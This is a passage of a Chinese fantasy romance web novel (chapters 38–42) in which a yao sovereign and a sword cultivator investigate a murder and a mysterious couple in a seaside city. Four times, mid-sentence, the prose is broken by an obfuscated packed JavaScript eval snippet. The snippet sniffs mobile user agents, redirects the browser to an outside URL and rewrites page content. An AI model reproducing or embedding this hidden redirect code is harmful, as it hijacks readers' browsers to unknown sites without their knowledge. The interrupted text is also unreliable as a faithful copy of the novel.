美人温声细语道谢,好心人不忍道:“莲若姑娘怎的一个人出来了?你家夫君呢?” 莲若柔声答:“他有事忙,不在家中。” 好心人听了却是一脸不满,“柳郎君一天天的也不知道做甚,有莲姑娘这么好的妻子不好好呵护,整日想着往外跑。” 莲若温声解释,“他是男子,也有自己的事做,我也不能整日把他拴在家里不是?我已经没事,方才只是不小心摔了一跤,这位姑娘,多谢你。” 好心人还欲开口,周围纷纷劝慰。 “人家两口子的事,你一个外人不要多管。” “是啊,我看柳郎君和莲姑娘十分要好,前几日还看见他们夫妻一同观海呢。” 人群议论纷纷,蕴禾不欲再听,拉着苏见清就要走。 被围在中间的莲若似有所觉,抬头朝二人的方向看来,点头致意,嘴角笑意温和友善。 蕴禾微怔,若有所思。 苏见清却是颔首回礼,端正有礼。 离得远了,蕴禾蓦地出声,“你喜欢她?” 苏见清一惊,“谁?” “方才那名莲姑娘。” 苏见清神色震惊,不能理解,“阿蕴姑娘为何有此一问?” 蕴禾耸肩,“你向来和女子保持距离,方才却对莲姑娘存了三分温柔,这不是喜欢?” 像成佩兰,除了请教她如何做毛绒玩偶之外,苏见清待她与寻常师姐妹并无不同。胥绿真因是师姐,多了两分尊重。 曲江篱就更不用说了,待她是君子之交。 面对莲姑娘时,蕴禾说不清苏见清有什么区别,但潜意识里就是觉得不一样。 苏见清的第一反应是,阿蕴姑娘对他的情绪感应好敏锐啊。 这个念头在脑中划过,他顾不上分辨心中情绪,急声解释,“阿蕴姑娘误会了,不过一面之缘,谈何喜欢?” 蕴禾不高兴了,“不是还有一见钟情之说?” “真的不是。” 苏见清苦笑否认,“莲姑娘身上有股特别的气质,像是……” 他皱眉思索,“像是久病之人,体虚孱弱,面对她时不免生出几分尊重怜意。” 体虚孱弱? 蕴禾摇头,“没看出来。” 见她不再揪着“喜欢”不放,苏见清松口气,温声道:“无碍,本就是萍水相逢,过几日我们便要离开,莲姑娘如何都与我们无关。天快黑了,阿蕴姑娘可要接着逛?” 蕴禾现下兴致不错,“接着逛吧。” 苏见清浅浅勾唇,“好。” 夜晚的观沧海与白日呈现出不同的美。各式各样的花灯亮起,蕴禾瞧见一盏鲤鱼灯张嘴,吐出一连串的粉色泡泡,被灯光一照,嘭一下破碎,涌出无数朵小花。 数颗夜明珠高悬头顶,光泽明亮温润。街头杂耍喷出日照雪山的蜃景,引得阵阵惊呼。 空中有人控制游龙傀儡飞翔,龙头威风凛凛,灯光璀璨,所过之处皆落下七彩祥云,勾得小童拊掌大笑。 苏见清为蕴禾买了包小鱼干。 小鱼被炸得极为酥脆,上面洒满了香料,蕴禾一口一个,吃了一路。 二人逐渐走到空寂处,苏见清四处张望,“这好像是城中百姓的居所。” 蕴禾吃下一个小鱼干,腮帮子微鼓,“没什么好逛的,走吧。” 脚步刚抬起,忽然一阵歌声在夜中传荡。 那歌声缥缈空灵,如山麓间飘荡的一缕薄雾,云端飘飞的一片轻羽,又似空旷海底游动的一尾游鱼,悠远中掺杂孤寂,令闻者沾襟,潸然泪下。 苏见清怔了许久,“这歌声……” 蕴禾甩甩脑袋,眸底流露兴味,拉住苏见清手腕,道:“走,看看是谁在唱歌。” 苏见清长睫微动,顺从道:“好。” 二人顺着歌声追去,穿过巷子,眼前映入一座小院。 府门大开,院内种一棵桐树,桐花翩然而落,飘至门前石阶上女子裙摆。她抱着双膝,玉面微垂,碎发安顺贴在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918125|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸侧。 女子盯着鞋头镶嵌的白珍珠,樱唇张阖,吐出空灵优美的歌声。 苏见清意外,“是她?那位莲姑娘?” 蕴禾凝视她须臾,忽地看向身后。 苏见清随之而望。 巷口走来一男一女。女子依依不舍地拉扯男子衣袖,侧脸靠上男子肩头,低声抱怨。 男子揽住她肩,亲昵地在女子耳畔低语,哄得女子绽开笑容,羞涩嗔他。 二人分开,女子在原地站了许久,不舍目送男子步入巷中。 蕴禾抬手一挥,隐去二人身形,看着那男子从她和苏见清身侧走过,停至门前,温柔道:“阿若,怎么又在门前等我。” “夫君!” 莲若惊喜起身,牵住男子衣袖,笑容温婉,“你回来了。” 男子笑着反握住莲若的手,牵她进门,温言道:“这么晚了,怎么还不歇息?不是说过了,不必等我,你自去歇息就是。” 莲若温柔的嗓音泛甜,“我想你回来就能看见我……” 二人的身影消失在门后,府门重重一关,彻底隔绝窥探的目光。 蕴禾若有所思,“丈夫和情人就在巷口,离得这么近,你说那莲姑娘究竟看没看见?” 没听到苏见清回话,她回头,“喂,问你……” 话音戛然而止。 蕴禾顿住,怔怔抬睫。 目之所及之处,是年轻剑修白皙修长的脖颈,喉结锋利流畅,颈侧有青筋凸显。她与他的锁骨离得很近,淡淡竹香传入蕴禾鼻端,她齿尖莫名发痒,很想咬些什么。 唇瓣一张,温热吐息打在白嫩肌肤上,细小疙瘩在蕴禾眸中冒起,她舔舔唇,忽地往前一步。 “阿、阿蕴姑娘……” 苏见清仓促后退,与蕴禾拉开距离,耳尖红得仿佛能滴血,眼神飘忽,看左看右就是不敢看她,赧然轻声道:“方、方才我在看那男子腰间玉剑,总、总觉得在何处见过。” 蕴禾也不知刚才自己想做什么,但她被打断后心中生恼,脸一肃,正要发脾气,蓦地觉得苏见清此刻的模样很是有趣。 舌尖从齿尖扫过,她兴致上头,陡然攥住苏见清手腕,倾身上去。 39. 第 39 章 “阿、阿蕴姑娘?!” 苏见清面色呆滞,大脑一片空白,虚虚凝着与他只有一寸之距的姑娘。 红意从耳后攀至脸颊,沿着脖颈没入胸膛,他像块被泼了红墨的玉石,纯澈润泽,又蛊惑人心。 在苏见清紧张羞赧的目光下,蕴禾伸手,弹琴般轻轻拨弄他通红的耳尖。 “你怎么……” 蕴禾踮脚,笑意如川流泄出,在苏见清耳畔吐气如兰。 “这么容易害羞啊?” 苏见清手脚发僵,心跳如擂鼓。他不知作何反应,索性吐出一口气,偏过头去,“阿蕴姑娘……” 喉结滚动,苏见清低声道:“莫要如此戏弄我了。” 蕴禾鼻腔发出一声轻哼,“你管我。” 后退时,指尖无意中从苏见清耳后肌肤划过,激得他全身一抖,用尽全力屏住呼吸,压下喉咙里的奇怪声音。 蕴禾捂唇打哈欠,懒洋洋道:“没什么好玩的,走吧,回去。” 苏见清勉强收敛心神,“好。” 二人返回客栈。 各自回房之前,蕴禾叫住苏见清。 “苏见清。” 苏见清猛然回身,“怎、怎么了?” 蕴禾奇怪,“你怎么魂不守舍的?” “没……”苏见清摇头,“没事。” 蕴禾也不在意,从储物手链里取出一物交给他,“这个给你。” 苏见清不解,“这是什么?” 蕴禾随口道:“昔年得了两套玉婵纱衣,样式正好是一男一女,我自己穿一套,剩下一套拿着没用处,看在今日你替我买衣裳的份上送你了。” 说完,她打着哈欠进屋,“困死了,我回去睡了。” “嘭。” 眼前房门阖上。 苏见清垂首望向手中衣衫,许久未动。 正好一男一女……吗? …… 好安静。 她好像躺在一处洞穴中。 四周一片寂静,黑暗将她的身影吞没,她浑身动弹不得,艰难想要睁开眼。 “砰——” 挣扎之下,她不知碰到何物,哗啦啦的潮水从四面八方涌来,温暖簇拥着她的身体。 潮涌声中有人在唱歌。 她听不清她唱的什么,却依稀听到一段优美空灵的调子,似在唱停留礁石的海鸟,又仿佛在唱翱翔云端的鲲鹏,一声又一声,无端令她沉醉。 伴随着歌声,她缓缓睁眼。 她身上不知何时覆上一人,她看不清他的脸,只觉他分外熟悉。 那人手指轻抚她柔软发丝,唇瓣一张一合,轻轻呢喃着。 什么? 她并未听清。 那人轻声而笑,撑着身子离开。一段脖颈在她面前晃动,喉结锋利流畅,轻轻滚动着。 她心生烦躁,一把将人拉住,张唇咬上去。 …… 蕴禾猛地睁眼。 她脸色难看地坐起身。 齿端仿佛残留着啮咬梦中人喉结的触感,她手握成拳,低低骂了一声。 什么玩意? 好端端的,她怎么会做这种梦? 手上一热,蕴禾垂眸。 储物手链兀自发光,她烦躁地把某样东西拽出来。 那是颗拳头大小的紫色珠子,饱满圆润,内有光华游动,光彩夺目,璀璨生辉。 它躺在蕴禾掌心,光芒闪烁,触感微热。 蕴禾拧眉。 这颗鲛珠是怎么回事? 难不成它生前的主人曾来过此地,留下了气息,导致它有了反应? 可鲛人虽然天真单纯,情感充沛而真挚,也不能让她做这种梦吧? 抑或是说,她只是想男人了? 这个念头在脑海中划过,蕴禾脸色更为难看。 天色大亮,蕴禾已无睡意,从榻上起身,双足落地时,身上衣物首饰已大变模样。 她拉开门。 隔壁房间的苏见清正巧开门。玉婵纱衣在他身上幻化为一件素白色宽袖长袍,衣襟和腰身绣着青竹纹,素净又不失风雅,很是衬他。 看清蕴禾穿的是昨日买下的衣物,苏见清略有失落,眸中清光暗淡一瞬又很快亮起,“阿蕴姑娘今日想去何处逛逛?” 话音方落,却见蕴禾用一种奇怪的眼神看着自己。苏见清莫名,“怎么了?” 蕴禾紧紧盯着苏见清的喉结看。 怎么觉得和她梦里的那么像? 她往前逼近苏见清。 苏见清被她目光所慑,下意识后退。 二人一进一退,苏见清被逼着靠上墙壁,无所适从地紧张低声唤她,“阿、阿蕴姑娘……” 眼前蓦地出现一张放大版的俏脸,苏见清一惊,耳根攀上薄红,喉结不觉滚动。 这下更像了。 蕴禾忽地产生疑虑,该不会这段时日她身边唯有苏见清一个男人,所以他才会入她梦? 这样倒是解释得清。 蕴禾心情好转,好以整暇望着他,“好端端的,你脸红什么?” 她离他那么近,说话时气息扑在他脸侧,苏见清浑身热气上涌,紧张得话都快说不清了,“阿、阿蕴姑娘,你、我,我们……” 他似难以启齿,低垂的长睫盖住眼中羞赧,低声道:“……离得太近了。” “哦。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930537|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”蕴禾无所谓,“那又怎么?” 苏见清怔然抬眸。 却见蕴禾素手在他肩上轻轻一拂,拿着一根发丝在他眼前晃,无辜道:“我只是见你掉了根头发,想替你摘掉罢了,谁叫你躲了?” 苏见清红着脸无奈。 阿蕴姑娘手中的发丝白如霜雪,怎么也不可能是他的。 即便是想捉弄他,也不肯认真一点,那么随心所欲又满不在乎。 苏见清启唇,“多谢……阿蕴姑娘。” 蕴禾满意地弯唇而笑,回答他最初的问题,“今日不去逛街,你随我去碧落潮。” 苏见清微愣,“去碧落潮作甚?” 蕴禾退开,转身扬声道:“取龙牙晶。” 再不泄泄火气,她怕今晚又会做乱七八糟的梦。 …… 一个时辰后。 碧海蓝天下,盘旋在空中的海鸟急速逃离,飞往不同的方向。 海浪翻滚,不断冲刷着礁石。 清澈如碧玉般的海水冲天而上,仿佛瀑布般顺流而下,砸向海面上具具漂浮的妖兽尸体。 海滩上躺着许多贝壳与五颜六色的晶石,苏见清拾起一颗白色的,轻轻放在掌心。 他脚边堆积不少石头,大多是黑白二色,垂首忙活着,不时抬头翻动木架上的烤鱼。 俊秀仙君坐于海边,海风轻轻吹拂墨色长发,若非不远处激烈战斗中夹杂着妖兽痛苦的嘶鸣,倒是一幅极为养眼的画卷。 “哗啦啦——” 潮水退去,蕴禾涉水而上。 发泄一通后,她神清气爽上岸,抬手一挥,龙牙晶哗哗砸落在苏见清不远处,很快堆成小山。 “喏,都拿去。” 苏见清收了手里的东西,取下一串烤鱼,“先吃吧。” 一大早的未进食就来了这碧落潮,蕴禾的确馋了,随意坐在石上,吹两下张口咬下一块鱼肉。 苏见清的厨艺总能让她满意。 蕴禾吃得眉眼舒展,极为满足。 吃完一条鱼,蕴禾正要去拿第二条,余光瞥到苏见清脚边金灿灿的成堆龙牙晶,后知后觉问:“你不高兴?” 苏见清怔愣住,摇头否认。 他将龙牙晶收进芥子囊,顺手把烤鱼递给蕴禾,温声道:“吃吧。” 狐疑盯他两眼,蕴禾看不出异样,懒得再管,嗷呜咬下一口鲜嫩鱼肉。 见她吃得开心,苏见清眼底淌过笑意,下一瞬,上翘的嘴角缓缓拉直。 他低眸看向尚未熄灭的火光。 如今龙牙晶到手,他已没了再在观沧海停留的原因。 回伏渊的路上,阿蕴姑娘可还会与他同行? 40. 第 40 章 吃完鱼,两人返回城中。 蕴禾:“龙牙晶到手,你准备回伏渊了?” “嗯。 苏见清沉声,“也该回去了。” 蕴禾奇怪看他一眼。 这人怎么回事?从刚刚开始就奇奇怪怪的。 她操控青羽停下。 苏见清随之停住,疑惑问:“怎么了?” 眸中青芒一闪而过,蕴禾直视苏见清,【你在想什么?】 见她不动,苏见清越发困惑,“阿蕴姑娘?” 蕴禾莫名,想我做什么? 等等。 她瞪大眼,方才苏见清那话,是从嘴里说出来的? 蕴禾震惊,“你是清醒的?” 苏见清奇怪她为何有此一问,“阿蕴姑娘这话是何意?我一直都很清醒。” 蕴禾难以置信。 她的神控术源自血脉神通,修成之后不说所向披靡,却也鲜有失手,为何偏偏在苏见清身上不起作用? 但转念一想,她的命都和苏见清绑在一起,一个术法不起作用有什么可奇怪的。 蕴禾闷闷道:“没什么,走吧。” 苏见清薄唇微抿,轻轻点头。 蕴禾坐在青羽上,凝着苏见清的眸光微沉。 此人真是个谜,直到现在,她也不曾探清他的秘密。 究竟是他太会隐藏,还是他当真就是容易被人看穿的性子?她无从得知二人之间的渊源从何而来,只因他也不清楚? 蕴禾眉头拧紧。 照这样下去,她该不会要在玄清域待一辈子吧? 蕴禾往后一靠,心情郁郁指挥青羽跟上苏见清。 她凝视前方剑修的身影,脑子里快速闪过一个念头。 或许……她可以把苏见清带回妖域? …… 在观沧海城门口落地,蕴禾问:“要回伏渊,折回城里作甚?” 苏见清:“客房还未退,得先回趟客栈。” 他有些庆幸清晨临走前并未提前退掉客房,否则此刻已经在回伏渊的路上了。 蕴禾拉长音调“哦”一声,“那就走吧。” 路上,苏见清的话在肚里绕了好几圈,却始终不敢开口。 阿蕴姑娘是妖族,若她要回妖域,那以后说不定就很难见面了。 苏见清抿唇,“阿……” “啊!!!死人了!!!” 突如其来的声音将苏见清好不容易鼓起的勇气打断,听清那人喊的什么,他眸光一变,快步近前。 蕴禾慢慢悠悠跟上。 穿过人群,只见一女子横躺在街上,两只手腕似被利器割破,鲜血奔涌而出,顺着白皙肌肤流淌至身下。 她双目圆睁,眼中有血泪划过姣好面容,死状凄惨。 “这不是封柔姑娘吗?她、她怎么死了?” 苏见清偏头看向说话人,“你认得她?” 那人看着苏见清和他身侧的蕴禾怔愣一瞬,“认、认得。她是城南封家的姑娘,生得花容月貌,及笄后媒人纷纷上门,她却拒之不见,一门心思想嫁个修士。” “最近见她红光满面,我还当封家有喜事,没想到,她竟然就这么死了。” “多谢。” 苏见清转向人群,“有人可见到这姑娘怎么死的?” “我亲眼看见她走着走着,忽然就倒下了。” “是啊,我还当她是身子不适,正准备搭把手,可一转头,却、却……” 话音未落,有人喊道:“城主府来人了!” 人群让出一条道,见到身着盔甲的护卫统领,七嘴八舌地说着起因经过。 护卫统领听完,让人将封柔抬走。 两名护卫抬起盖着白布的尸体从苏见清身边路过,他目光追寻,落在那只露在外头的腕子上。 “阿蕴姑娘,我们可能暂时走不了了。” 蕴禾撩起羽睫。 清隽剑修面色肃然,沉声道:“那位封姑娘伤口处,有丝浅淡魔气。” …… 苏见清松手,目送流光钻进云层,失了踪迹。 “阿蕴姑娘,我们走罢。” 蕴禾百无聊赖走在他身旁,随口问:“你觉得杀她的凶手和莲姑娘与她的丈夫有关吗?” 苏见清:“莲姑娘和她的夫君不过寻常人,怎会与魔修扯上关系?” “那可不一定。” 蕴禾随手抓起苏见清衣袖,指尖点点秀雅竹纹,“你不是说见过莲姑娘的丈夫腰间玉剑?能让你有印象的,肯定不是什么普通人。” 苏见清蓦地一僵,脚步滞住。 手上阻力拦住蕴禾往前的步伐,她回头,一脸不高兴,“怎么不走了?” 苏见清目光在她拉扯自己衣袖的手上一顿,若无其事上前,“无事,只是在想阿蕴姑娘方才的话。” 蕴禾哦一声,绕着手中衣袖甩两下。 动作间,她的手背蹭到苏见清的,二人皆是一怔,目光相视。 剑修的眸光仿佛一汪清泉,明亮清澈。漆黑瞳仁倒映着姑娘的身影,似幽静湖面蓦地升 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944778|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起一抹月光,月影融入湖水,柔光皎洁,密不可分。 片刻后,两人不约而同移开目光。 苏见清斜视前方屋舍,喉间发痒,耳根微微发烫。 蕴禾默默松开手里袖子,两道细眉轻轻拧起。 奇了怪了,她今日是怎么了? 方才看苏见清时莫名其妙觉得哪里不对。人分明还是从前那个人,可就是说不上来何处有了变化。 奇怪。 不止是苏见清,整座城都很奇怪。 不能再懒散下去了,这次必须帮助苏见清尽快找到魔修,然后让他赶紧离开这座城。 再待下去,说不定连她都会变得奇奇怪怪的。 打定主意,蕴禾快走两步,“赶紧的,先去封家。” 苏见清应声,快步跟上蕴禾。 封柔的父母已经得知了女儿遇难的消息,老两口哭着去认女儿的尸首。亲朋们聚在封家,小声啜泣着宽慰上了年纪的封家祖母。 听着里边传来的哭声,苏见清迟疑,“阿蕴姑娘,我们怎么问?” “简单。” 蕴禾堂而皇之进了封家。 随着她走进,哭声止,时间停,封家亲朋表情定格,静立原地。 蕴禾看向封家祖母,眸中亮起绿光,“你孙女最近可有异常?” 封家父母小有资产,给老母亲寻了不少延年益寿的丹药,这位祖母虽头发花白,身子骨却很是硬朗,精气神也不错。 闻言木讷道:“阿柔近日早出晚归,问她去了何处也是含含糊糊的,她爹急了,逼问一通后,得知她竟是认识了一位仙君。” 蕴禾追问:“什么仙君?” 封家祖母道:“我们并未见过,阿柔说仙君待她极好,让她爹娘别给她说亲,再等些时日,她的好日子就到了。” 苏见清第一次见蕴禾这般法术,目光新奇在她身上绕一圈,认真听封家祖母的话。 蕴禾又问了几句,可封家祖母实在不知,只好作罢,拉着苏见清离开。 二人离开封家那一刹,静止的时间重新流动,身后哭声再度响起。 “你方才可在封家察觉到魔气了?” 苏见清摇头,“并无。我们现在去找那位‘仙君’?” 蕴禾点头。 封家并无魔气残留,说明封柔遭难并不是家中惹来的灾祸,而是她自己引来的。 如今她身边出现的异常,唯有那位“仙君”。 此事十有八.九与他有关。 蕴禾:“去莲姑娘家。” 41. 第 41 章 蕴禾与苏见清来到上次的那间小院。 她故技重施,带着苏见清进入院子,跃上屋檐,低头打量院中二人。 莲若正和丈夫做饼。 二人亲亲热热靠在一处,说笑着聊家常,男子伸手,抹去莲若脸上面粉,惹得她俏脸羞红,嗔了丈夫一眼。 好个郎情妾意。 蕴禾坐着青羽,两腿交叠,一手撑着下巴,偏头问:“你说,他们可知封柔死了?” 若是知晓,这男人却面不改色与妻子调情,倒是好一个薄情人。 苏见清摇头,“我不知。” 蕴禾哼一声,“不管他们知或不知都无妨,现在让他们知道不就好了?” 她张目四望,挑中一人,指尖溢出一缕妖力,飞速钻入那人眉心。 苏见清:“阿蕴姑娘想做什么?” 蕴禾拍拍掌心,“别说话,你只管看。” 苏见清只好闭嘴,目光落在被蕴禾挑中那人身上。 只见她双目茫然在原地静立片刻,随后目标明确朝莲若家走来,脸色惊惶敲响房门。 “莲姑娘在家吗?” 莲若侧耳一听,对丈夫道:“好像是隔壁的徐嫂子。” 男子起身,“去看看吧。” 莲若笑着点头,净过手在身上擦拭后将院门打开,好奇问:“嫂子寻我有事?” 徐嫂子一把抓住莲若的手,惊道:“莲姑娘听说了没,出大事了!” “什么大事?” “今日城中死人了!” 莲若震惊,“啊?什么人?” 徐嫂子:“听说是城南封家的姑娘,无缘无故死在大街上。好端端的,城里怎么会发生这种事,这也太可怕了。” 莲若拧眉,“封家姑娘?” “是啊。”徐嫂子连连点头,“莲姑娘认识她?” 莲若摇头否认,“我极少去城南,怎会认识什么封家姑娘?只是可惜,她年岁应该不大吧?” “还未出阁呢。” 莲若叹气,“年纪轻轻的就这么去了,她家里人该是何等伤心。” 徐嫂子也随之一叹。 “怎么了?好端端的叹什么气?” 徐嫂子瞧了他,意外道:“柳郎君也在家?” 男子颔首,笑着打招呼,“徐嫂子。” 徐嫂子拉着男子将方才的话又说了一遍,语重心长道:“封家姑娘貌美,虽不知她因何招惹杀身之祸,但家里有女子的警醒些最好,你近日可要好生照顾莲姑娘,别让她单独出门。” 男子面色微敛,肃着脸沉声,“嫂子放心,我定会保护好娘子。” 徐嫂子满意点头。 莲若红着脸道:“嫂子高看我家柳适了,他只是个普通书生。” 徐嫂子不赞同道:“柳郎君好歹也是个男子,遇事总不至于手无缚鸡之力,你啊,就是太心疼他了。” 莲若羞红脸嗔道:“嫂子。” 柳适作揖,“阿若脸皮薄,嫂子别打趣她了。” 见二人情义深重,徐嫂子面露笑意,又说了几句这才离开。 蕴禾手撑着膝盖,“你看出什么了?” 苏见清沉吟,“那名叫柳适的男子听说封柔姑娘出事后的反应太正常了,若非你我曾亲眼见他二人卿卿我我,实在难以想象他们有奸情。” “卿卿我我”“奸情”这样的字眼从他这样光风霁月的仙门仙君口中说出,总觉得分外违和。 蕴禾弯眼,并未多言,目光看向返回院中的莲若,眸底绿光亮起。 【你知道你夫君和封柔的事吗?】 莲若抬头,似往蕴禾所在的方向看了眼,只停顿一息便将目光移开,侧眸与柳适说话。 蕴禾噌地放下腿,难以置信地盯着莲若,再度催动神控术。 仍是毫无反应。 她脸色隐隐有些难看。 怎么回事?一日之内神控术接连两次失败,这是前所未有的事。 苏见清她还能理解,可莲若是怎么回事? 她一个普通凡人,为何能不受她控制? 蕴禾咬牙。 这座城果真克她! 敏锐察觉不对的苏见清问:“怎么了?” 蕴禾没回,吐出一口气,转而看向柳适。 【你是魔修?封柔是你杀的?】 柳适目光有一瞬呆滞,短促回答在蕴禾心间响起,【什么魔修?不是。】 下一刻,他陡然恢复,眉头微微皱起。 “怎么了?” 莲若关心问道。 “没事。” 柳适缓缓摇头,“只是方才走了神。” 他拉住莲若细腕,拧眉道:“怎么洗了这么多遍?” 莲若看他一眼,轻轻笑了,“手弄得那么脏,当然得好好清洗干净了。” 柳适唇畔含笑,手掌覆上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15959416|173757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莲若手背,柔声道:“为夫替你洗。” 屋檐上,蕴禾脸色沉重。 苏见清轻声问:“发生了什么?” 蕴禾侧眸对他道:“柳适并不知道魔修的存在,也否认自己是杀害封柔的凶手。” 她沉着脸,眸色阴恻恻的,不敢相信今日自己竟栽了三次。 一个苏见清,一个莲若,就连柳适,她也不过控制了他两息。 这些人到底怎么回事! 所向披靡的妖皇大人不敢相信自己引以为傲的神控术竟被克制,眉心紧紧皱着,看向院中二人的目光极为不善。 这对夫妻,一定不对劲。 苏见清若有所思。 他见过阿蕴姑娘那神奇的术法,她说柳适不是凶手,那便一定不是。 可这样一来,事情便没了头绪。 不是柳适,那又是谁? 柳适? 苏见清拧眉,脑海中有什么飞快闪过,他来不及捕捉,只觉这个名字好像有些耳熟,总觉得在哪儿听过。 想了片刻,始终没有头绪,苏见清只好作罢,“阿蕴姑娘可否问问莲姑娘?” 这一问直接戳中蕴禾伤疤,她恶狠狠瞪苏见清一眼,恶声恶气道:“不行。” 苏见清不解,“为何不行?” 蕴禾更怒,恶声恶气道:“不行就是不行,不行就是我对她施不了神控术,这下你满意了?” 苏见清没想到竟是这个原因,打了下磕巴,“抱、抱歉。” 蕴禾不买账,哼一声环胸瞪向莲若,“这女子怎么看都像个普通人,她究竟为何能抵抗本……我的术法?” 苏见清拧眉沉思。 天色渐暗,莲若和柳适携手进屋。莲若烙完饼,与柳适一同进餐,夫妻二人说说笑笑着吃完晚膳,不久后,屋里的灯熄了。 蕴禾伸懒腰,“走吧,先回去。” 苏见清不解,“不再接着看看?” 蕴禾朝他翻白眼,“你若是想看这夫妻俩共赴巫山,只管留下。” 苏见清猛然明白过来,白皙脸庞轰一下红了,嗫嚅道:“我、我不是……我没有那个意思……” 看他这一脸羞涩赧然,蕴禾心情大好,操控青羽往前两步转身,戏谑道:“还不走?我以为你真想看呢。” 苏见清噌地起身,衣袍翻飞,逃一般离开此地。 蕴禾慢悠悠坐着跟上,眸底笑意久久不散。 42. 第 42 章 夜间的观沧海依旧繁华如初,仿佛白日那个女子的死不过是滴水入川流,掀不起一丝风浪。 夜明珠高高悬挂夜空,柔和光线温柔撒下,却照不进此间客栈。 蕴禾又做梦了。 奇怪的是,这次梦境的主角并不是她,她附身在一名女子身上,短暂地成为她。 她感受到“自己”宛如初生小兽,好奇凝望周围一切,所有东西在她眼里,都带来莫大的新奇。 她孤身游历玄清域,有时宿卧野外,以枝干为床;有时摘一片巨大叶子放入河中,倾身躺上去,任由水流将她带去远方。 她自由、好奇地探索这片领域。 直到那日,她遇见一个人。 山岚缥缈,雾色浓郁。 湖水清澈,倒映着山川青影。忽地驶来一只小船,破开水面上的倒影,留下层层涟漪。 蕴禾感受到“自己”躺在船上,面朝天闭眼休憩。 清风温柔拂过脸颊,发丝晃动,轻微痒意让她眉心略动。 小船骤然不动了,她睁开眼,轻咦一声,坐起身打探。 一只手破水而出,牢牢抓住船沿。那手格外苍白,根根分明,修长匀称,十分好看。 她并不害怕,反而好奇地盯着它。 破水声“哗啦——”一响,水珠洒落,溅到船内,从少女裙摆滴落。 有人攀着她的船从水中钻出。 那是个生得很好看的男人,肤色白皙,眉骨清秀,眉毛颜色不浓不淡,恰到好处。一头潮湿墨发紧贴着脖颈肩膀,青筋微凸,湿透的衣衫内隐隐透出流畅的肌肉线条。 他浑身泛着水汽,清新俊雅得仿佛这水里催生出的水妖。 “水妖”抬头,对着蕴禾温和一笑,“抱歉,惊扰了姑娘。不知姑娘可否让我上船停留稍许?” 蕴禾听到“自己”不断跳动的心跳声。 她呆呆愣了许久,那“水妖”保持着笑容不变,温和又礼貌地注视她眉心。 她脸一烫,忙道:“可、可以。” “水妖”一笑,撑着船翻身而上。 他身量很高,站在船上,身上水珠淅淅沥沥下落,将船打湿。 “水妖”单手成印,一个术法弹出,身上连带船内的水眨眼消失。 她好奇发问:“你是修士?” “是。” “水妖”弯起眼笑,举起手中之剑,从容自信道:“我叫柳适,是名剑修。” 她心脏再度狂跳,结结巴巴道:“我、我叫……” 蕴禾猛地睁开眼。 不是,断在这儿,这梦有病吧? 她气冲冲下床去隔壁找苏见清。 谁知房门一开,苏见清正站在门外。蕴禾眉梢一扬,与他同时开口。 “柳适此人不简单。” “阿蕴姑娘,我想起那柳适是何人了。” 蕴禾:“?” 苏见清一怔,“阿蕴姑娘是怎……” 蕴禾竖起手掌将他打断,“你先说。” 苏见清按下疑惑,“我幼年时在师尊的沉霄峰练剑,曾无意中听他与长老说起,百年前玄清域有名剑修名唤柳适,持一柄清风剑,剑法出神入化,若他潜心修炼,未来说不准能问鼎玄清。可惜他不知出了何变故,多年来销声匿迹,长老猜测,他或许已不在人世。” “我看过柳适清风剑的画像,与柳姓郎君腰上那柄玉剑一模一样。” 蕴禾也道:“我方才做了个梦,梦到我附身在一女子身上,那女子当年游历玄清域,曾与柳适见过面,听他自称是名剑修。” 这便对得上了。 柳姓郎君,极大可能便是柳适,只是他如今为何修为全无,竟似个普通人? 还有一事苏见清不解,“阿蕴姑娘为何会做这个梦?” 说到这儿蕴禾就郁闷。 从来到这观沧海开始,奇奇怪怪的梦境不断,如今都能梦到别人的过往了。 心中一动,她摊开掌心,露出一枚紫色鲛珠。 “或许与它有关。” 苏见清沉吟片刻,“阿蕴姑娘是怀疑,你附身的那名女子是这枚鲛珠的主人?” “有可能。” 紫色鲛珠在蕴禾掌心散发出柔和莹润的光芒,她道:“百年前妖域混乱,或许有鲛人趁此时机离开妖域,来到玄清,与柳适相识。” 